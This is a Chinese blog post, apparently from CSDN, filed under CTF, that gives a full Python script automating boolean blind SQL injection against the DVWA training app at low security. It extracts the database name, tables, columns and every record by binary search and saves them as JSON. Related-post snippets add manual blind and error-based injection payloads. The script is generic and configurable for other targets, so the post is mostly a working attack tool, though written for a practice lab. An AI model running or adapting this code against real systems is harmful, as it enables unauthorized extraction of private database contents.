DVWA - SQL Injection (Blind) (low)

最新推荐文章于 2022-12-09 12:34:32 发布
最新推荐文章于 2022-12-09 12:34:32 发布
阅读量989 收藏
点赞数
CC 4.0 BY-SA版权
分类专栏： CTF 文章标签： security
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/SCNU_Jiechao/article/details/54139979
本文介绍了一种使用二分法进行SQL盲注攻击的方法，详细展示了如何通过构造特定的SQL查询来获取数据库名称、表数量、表名、字段数量、字段名及数据记录。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

low

从数据库名到所有记录，用二分写了一遍。

import requests
import urllib
import json


class SqlHacker(object):

    """docstring for SqlHacker"""

    def __init__(self, post=False, inject_point_number=False):
        super(SqlHacker, self).__init__()
        self.min_record_count = 0
        self.max_record_count = 100
        self.min_value_len = 0
        self.max_value_len = 128
        self.min_char = 0
        self.max_char = 255
        self.min_column_count = 1
        self.max_column_count = 20
        self.min_column_name_len = 1
        self.max_column_name_len = 50
        self.min_table_num = 0
        self.max_table_num = 100
        self.min_table_name_len = 1
        self.max_table_name_len = 50
        self.min_db_name_len = 1
        self.max_db_name_len = 50
        self.inject_point_number = inject_point_number
        self.post = post


    def get_db_name(self, url, data, inject_key, success_str, headers):
        db_name = ''
        if self.inject_point_number:
            payload = "1 and length(database())>%d"
        else:
            payload = "1' and+length(database())>%d#"
        L = self.min_db_name_len
        R = self.max_db_name_len
        while L < R:
            M = (L + R) / 2
            data[inject_key] = payload % M
            if self.post:
                res = requests.post(url, data=data, headers=headers)
            else:
                res = requests.get(url + urllib.urlencode(data), headers=headers)
            if success_str in res.content:
                L = M + 1
            else:
                R = M
        database_name_len = L
        for x in xrange(1, 1 + database_name_len):
            if self.inject_point_number:
                payload = "1 and (select ord(mid(database(),%d,1)))>%d"
            else:
                payload = "1' and (select ord(mid(database(),%d,1)))>%d#"
            L = self.min_char
            R = self.max_char
            while  L < R:
                M = (L + R) / 2
                data[inject_key] = payload % (x, M)
                if self.post:
                    res = requests.post(url, data=data, headers=headers)
                else:
                    res = requests.get(url + urllib.urlencode(data), headers=headers)
                if success_str in res.content:
                    L = M + 1
                else:
                    R = M
            db_name += chr(L)
        return db_name


    def get_table_count(self, db_name, url, data, inject_key, success_str, headers):
        if self.inject_point_number:
            payload = "1 and (select count(*) from information_schema.TABLES where TABLE_SCHEMA='%s')>%d"
        else:
            payload = "1' and (select count(*) from information_schema.TABLES where TABLE_SCHEMA='%s')>%d#"
        L = self.min_table_num
        R = self.max_table_num
        while L < R:
            M = (L + R) / 2
            data[inject_key] = payload % (db_name, M)
            if self.post:
                res = requests.post(url, data=data, headers=headers)
                print(data)
            else:
                res = requests.get(url + urllib.urlencode(data), headers=headers)
            if success_str in res.content:
                L = M + 1
            else:
                R = M
        return L


    def get_tables(self, db_name, table_count, url, data, inject_key, success_str, headers):
        tables = []
        for x in xrange(0, table_count):
            table_name_len = 0
            L = self.min_table_name_len
            R = self.max_table_name_len + 1
            while L + 1 < R:
                M = (L + R) / 2
                data[inject_key] = "1' and ord(mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='%s' limit %d,1),%d,1))>0#" % (db_name, x, M)
                res = requests.get(url + urllib.urlencode(data), headers=headers)
                if success_str in res.content:
                    L = M
                else:
                    R = M
            table_name_len = L
            table_name = ''
            for i in xrange(1, 1 + table_name_len):
                L = self.min_char
                R = self.max_char
                while  L < R:
                    M = (L + R) / 2
                    data[inject_key] = "1' and ord(mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='%s' limit %d,1),%d,1))>%d#" % (db_name, x, i, M)
                    res = requests.get(url + urllib.urlencode(data), headers=headers)
                    if success_str in res.content:
                        L = M + 1
                    else:
                        R = M
                table_name += chr(L)
            print(table_name)
            tables.append(table_name)
        return tables


    def get_column_count(self, db_name, table_name, url, data, inject_key, success_str, headers):
        L = self.min_column_count
        R = self.max_column_count
        while L < R:
            M = (L + R) / 2
            data[inject_key] = "1' and (select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='%s' and TABLE_NAME='%s')>%d#" % (db_name, table_name, M)
            res = requests.get(url + urllib.urlencode(data), headers=headers)
            if success_str in res.content:
                L = M + 1
            else:
                R = M
        return L


    def get_columns(self, db_name, table_name, column_count, url, data, inject_key, success_str, headers):
        ret = []
        for x in xrange(0, column_count):
            L = self.min_column_name_len
            R = self.max_column_name_len + 1
            while L + 1 < R:
                M = (L + R) / 2
                data[inject_key] = "1' and ord(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='%s' and TABLE_NAME='%s' limit %d,1),%d,1))>0#" % (db_name, table_name, x, M)
                res = requests.get(url + urllib.urlencode(data), headers=headers)
                if success_str in res.content:
                    L = M
                else:
                    R = M
            column_name_len = L
            column_name = ''
            for i in xrange(1, 1 + column_name_len):
                L = self.min_char
                R = self.max_char
                while L < R:
                    M = (L + R) / 2
                    data[inject_key] = "1' and ord(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='%s' and TABLE_NAME='%s' limit %d,1),%d,1))>%d#" % (db_name, table_name, x, i, M)
                    res = requests.get(url + urllib.urlencode(data), headers=headers)
                    if success_str in res.content:
                        L = M + 1
                    else:
                        R = M
                column_name += chr(L)
            print(column_name)
            ret.append(column_name)
        return ret


    def get_record_count(self, table_name, url, data, inject_key, success_str, headers):
        L = self.min_record_count
        R = self.max_record_count
        while L < R:
            M = (L + R) / 2
            data[inject_key] = "1' and (select count(*) from %s)>%d#" % (table_name, M)
            res = requests.get(url + urllib.urlencode(data), headers=headers)
            if success_str in res.content:
                L = M + 1
            else:
                R = M
        return L


    def get_records(self, table_name, columns, record_count, url, data, inject_key, success_str, headers):
        ret = []
        for x in xrange(0, record_count):
            single_record = {}
            for column_name in columns:
                L = self.min_value_len
                R = self.max_value_len
                while L + 1 < R:
                    M = (L + R) / 2
                    data[inject_key] = "1' and ord(mid((select %s from %s limit %d,1),%d,1))>0#" % (column_name, table_name, x, M)
                    res = requests.get(url + urllib.urlencode(data), headers=headers)
                    if success_str in res.content:
                        L = M
                    else:
                        R = M
                value_len = L
                value = ''
                for i in xrange(1, 1 + value_len):
                    L = self.min_char
                    R = self.max_char
                    while L < R:
                        M = (L + R) / 2
                        data[inject_key] = "1' and ord(mid((select %s from %s limit %d,1),%d,1))>%d#" % (column_name, table_name, x, i, M)
                        res = requests.get(url + urllib.urlencode(data), headers=headers)
                        if success_str in res.content:
                            L = M + 1
                        else:
                            R = M
                    value += chr(L)
                single_record[column_name] = value
                print(value)
            ret.append(single_record)
        return ret


def main():
    headers = {
        'Cookie': 'PHPSESSID=jb7d875vs8rlusttoadfi1m4l5; security=low'
    }
    data = {
        'Submit': 'Submit'
    }
    url = 'http://192.168.67.22/dvwa/vulnerabilities/sqli_blind/index.php?'
    inject_key = 'id'
    success_str = 'exists'
    sql_hacker = SqlHacker()
    db_name = sql_hacker.get_db_name(url, data, inject_key, success_str, headers)
    table_count = sql_hacker.get_table_count(db_name, url, data, inject_key, success_str, headers)
    print(table_count)
    tables = sql_hacker.get_tables(db_name, table_count, url, data, inject_key, success_str, headers)
    for table in tables:
        column_count = sql_hacker.get_column_count(db_name, table, url, data, inject_key, success_str, headers)
        columns = sql_hacker.get_columns(db_name, table, column_count, url, data, inject_key, success_str, headers)    
        record_count = sql_hacker.get_record_count(table, url, data, inject_key, success_str, headers)
        records = sql_hacker.get_records(table, columns, record_count, url, data, inject_key, success_str, headers)
        records = json.dumps(records)
        h = open('%s.json' % table, 'w')
        h.write(records)
        h.close()


if __name__ == '__main__':
    main()

针对low写好后，想改成更为通用的版本，待续。。

DVWA靶场-SQL Injection (Blind)SQL注入盲注
mlws1900的博客
03-19 1762
直接使用报错：' union select 1,count(*),concat('/',(select @@datadir),'/',floor(rand(0)*2))a from information_schema.columns group by a--+盲注，与一般注入的区别在于，一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。length：正整数，指定将从左边返回的字符数。
DVWA--SQL Injection(Blind)(SQL盲注)(全难度)
wwxxee
03-03 361
DVWA–SQL Injection (Blind)(SQL盲注) 原理参考：网络安全笔记-99-渗透-SQL注入 逻辑 输入框输入ID，然后判断该ID是否存在 难度分级 Low 核心代码 <?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM u
DVWA下的SQL Injection(Blind)
07-25
盲注
DVWA之SQL注入（盲注）
天空之蓝的博客
11-17 4656
SQL Injection（Blind），即SQL盲注，与一般注入的区别在于，一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。手工盲注的过程，就像你与一个机器人聊天，这个机器人知道的很多，但只会回答“是”或者“不是”，因此你需要询问它这样的问题，例如“数据库名字的第一个字母是不是a啊？”，通过这种机械的询问，最终获得你想要的数据。
DVWA------SQL Injection (Blind)（SQL盲注）
m0_65712192的博客
12-09 3937
DVWA------SQL Injection (Blind)（SQL盲注）
DVWA之SQL Injection (Blind)
kukudeshuo的博客
03-21 272
DVWA之SQL Injection (Blind) low 查看源代码可知，对输入字符串没有进行任何过滤 <?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result
DVWA-SQL Injection（Blind盲注）
Cwillchris的博客
10-28 1122
实验环境： DVWA靶机：172.16.12.10 windos攻击机：172.16.12.7 kali攻击机：172.16.12.30 实验步骤： SQLInjection（Blind），即SQL盲注，与一般注入的区别在于，一般的注入 攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。 盲注分为基于布尔的盲注、基于时间的盲注以及基于报错.
DVWA通关--SQL盲注(SQL Injection(Blind))
箭雨镜屋
07-11 3941
LOW 通关步骤 代码分析 MEDIUM 通关步骤 代码分析 HIGH 通关步骤 代码分析 IMPOSSIBLE 代码分析
【DVWA】--- 八、sql盲注(SQL Injection Blind)
qq_43168364的博客
05-31 893
SQL Injection Blind 目录 一、low级别 二、Medium级别 三、High级别 四、Impossible级别 五、预防方法 一、low级别 注入点在输入框中，当输入正确时回显如下图 输入错误时的回显 根据回显不同进行布尔盲注，接下来判断注入类型 这里是字符型注入点字符型注入点 判断库名长度，命令：1' and length(database())=4 # 判断库名，命令：1’ and ascii(substr(database(),x,1))=100 #让x的值递增可以遍
DVWA——SQL Injection(Blind)【详细的步骤实现（图解）包含多种盲注方法并且附上了payload】
weixin_46709219的博客
01-04 916
一）区别： SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。 二）思想： 在盲注中，页面无论对错都只会以 “是” 或者 “不是”来对我们的SQL语句进行结果的反馈，因此我们需要构造payload去询问例如“数据库名字的第一个字母是不是a？”，通过问答的方式最终获取我们想要的数据。 三）盲注分为基于布尔盲注、基于
Blind SQL Injection on DVWA(Medium Level)
312小公举的专栏
05-15 1415
Vulnerability: SQL Injection (Blind)与前面的Vulnerability: SQL Injection这两个页面的差别就在于有没有有用的错误信息或者我们已经习惯的反馈内容。 本文的终极任务是获得user和password。 1.简单的输入测试 输入2得到： 输入2 or 1=1得到： 输入 2' or '1'='1得到： 以上说明了 $id = m
dvwa-sql injection(blind)
Alter__的博客
05-31 891
盲注，与一般注入的区别在于，一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知。         盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注。  1.判断是否存在注入，注入是字符型还是数字型 2.猜解当前数据库名 3.猜解数据库中的表名 4.猜解表中的字段名 5.猜解数据 low
DVWA的使用4–SQL Injection（Blind）（SQL盲注）
StoriesWine
03-27 2968
DVWA的使用4–SQL Injection（Blind）（SQL盲注） SQL Injection（Blind），即SQL盲注，与一般注入的区别在于，一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。 1).low级别 源码： 对参数id没有做任何检查、过滤，存在...
DVWA——SQL Injection (Blind)(low)
分享简单的安全技术
01-11 415
SQL Injection (Blind) 界面 源代码 <?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS[
DVWA-SQL Injection (Blind)
qq_45751902的博客
04-25 969
目录简介sql盲注SQL盲注的类型安全级别：Low安全级别：Medium安全级别：High安全级别：Impossible 简介 sql盲注 SQL Injection（Blind），即SQL盲注； 注入：可以查看到详细内容； 盲注：目标只会回复是或不是，没有详细内容； SQL盲注的类型 基于布尔值的盲注； 基于时间的盲注； 基于报错的盲注； 安全级别：Low 安全级别：Medium 安全级别：High 安全级别：Impossible ...
DVWA-SQL Injection(Blind)
tycyj的博客
01-24 243
LOW 1.判断是否存在注入 输入1 显示用户存在 输入1’ and 1 = 1 – ’ 显示用户存在 输入1‘ and 1 = 2 – ’ 显示用户不存在，说明存在字符型的SQL盲注。 2.猜解SQL查询语句中的字段数 输入1’ or 1 = 1 order by 1 – ’ 显示不存在 输入1’ or 1 = 1 order by 2 – ’ 显示存在 输入1’ or 1 = 1 order by 3 – ’ 显示不存在，说明该SQL查询语句中只有2个字段 3.获取当前数据库 输入1’ and
DVWA--SQLInjection(blind)
weixin_45038413的博客
05-09 540
Low等级 确定注入poc 1.手工注入（布尔型） 确定字符串长度 确定字符串内容 （二分法，步骤省略） 得到： substr(database(),1,1)=’d’ substr(database(),2,1)=’v’ substr(database(),3,1)=’w’ substr(database(),4,1)=’a’ database() =’dvwa’ 2.手工注入（延...
dvwa之sql injection(blind)
Alsn86的博客
01-27 945
dvwa之 sql injection(blind) sql injection(blind)之low等级 1.判断出是字符型 2.看当前数据库名字长度1’ and length(database())=4;# 显示正确 所以数据库名长度为4 3.判断数据库名字为dvwa 1’ and substr(database(),1,1)=‘d’;# 判断出数据库名字第一个字符为’d’ 1’ and substr(database(),2,1)=‘d’;# 判断出数据库名字第一个字符为’v’ 1’ and
DVWA SQLinjection怎么用
最新发布
07-31
3. DVWA SQL Injection (Blind)（盲注）攻击步骤（针对LOW, MEDIUM, HIGH级别） 4. 防御措施分析（IMPOSSIBLE级别） 注意：在描述攻击步骤时，我们将结合引用[2]中的示例（获取dvwa数据库的所有表名）以及其他常见...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值